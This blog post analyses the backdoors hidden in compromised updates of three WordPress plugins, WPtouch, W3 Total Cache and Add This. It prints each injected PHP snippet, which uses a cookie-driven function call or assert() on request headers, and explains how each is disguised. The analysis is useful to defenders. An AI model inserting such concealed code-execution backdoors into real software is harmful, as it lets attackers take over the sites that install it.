Yesterday the WordPress.org team uncovered a series of compromised updates to popular plugins and temporarily shut down the plugin repositories and reset users’ passwords. Their blog post did not go into details however and I decided to hunt down and investigate the backdoors inserted.

What actually happened?

Attackers were able to gain access to the user accounts of three plugin authors’ accounts on WordPress.org and make unauthorised updates to their plugins, which were downloadable for around 24 hours until detected. All three plugins’ updates included a malicious concealed backdoor that allowed arbitrary PHP code to be executed. Anyone who had the compromised updates active could have potentially had their site compromised, but it’s hard to say. Changing passwords and changing the salts and unique keys in wp-config.php ought to lock out any compromised passwords, though further backdoors could have been placed through the use of the existing ones.

The affected plugin versions are: Add This 2.1.3, W3 Total Cache 0.9.2.2 (after 5:41am 21/06), WPtouch 1.9.28

WPtouch

if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]) ) $this->desired_view = $matches[1].$matches[2];

The first backdoor to be inserted, this was the most puzzling code to understand. The ‘desired_view’ property is used by WP Touch to determine if to use the mobile theme or not, but its use here is purely for appearance. The code carries out some seemingly mundane checks on whether a cookie with a certain key is set and if so, sets the view accordingly. The cookie is not actually part of the plugin however, with the variable used simply to further disguise its purpose, and the payload is hidden as an if() clause. It uses a regex pattern to extract two variables from the cookie, then calls them as a function and its parameter respectively.

W3 Total Cache

if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR']) ) { $this->cache_reject_reason = 'proxy';

The second backdoor is nested within a block labelled “Skip if proxy” and in its defence, it does do this. It just happens to also pass the browser’s HTTP_X_FORWARD_FOR header to assert(), a PHP debug function that executes any strings passed to it as PHP code. Missing the error-suppressing found in Add This, but best of the bunch for concealment.

Add This

$addthis_languages = array(''=>'Automatic', [...] 'th'=>'Thai', 'ur'=>'Urdu', 'cy'=>'Welsh', 'vi'=>'Vietnamese', 're'=>@assert(wp_get_referer()) );

The third and final backdoor is hidden inside an array of language names (RE is the country code for Reunion Island), again using assert(). It’s passed the browser’s referrer header via WordPress native functionality, so while the code looks slightly out of place, it’s easily enough passed over by anyone expecting native code. The @ keeps it from appearing as an error if the assertion fails.

Follow me on Twitter: @adamhmharley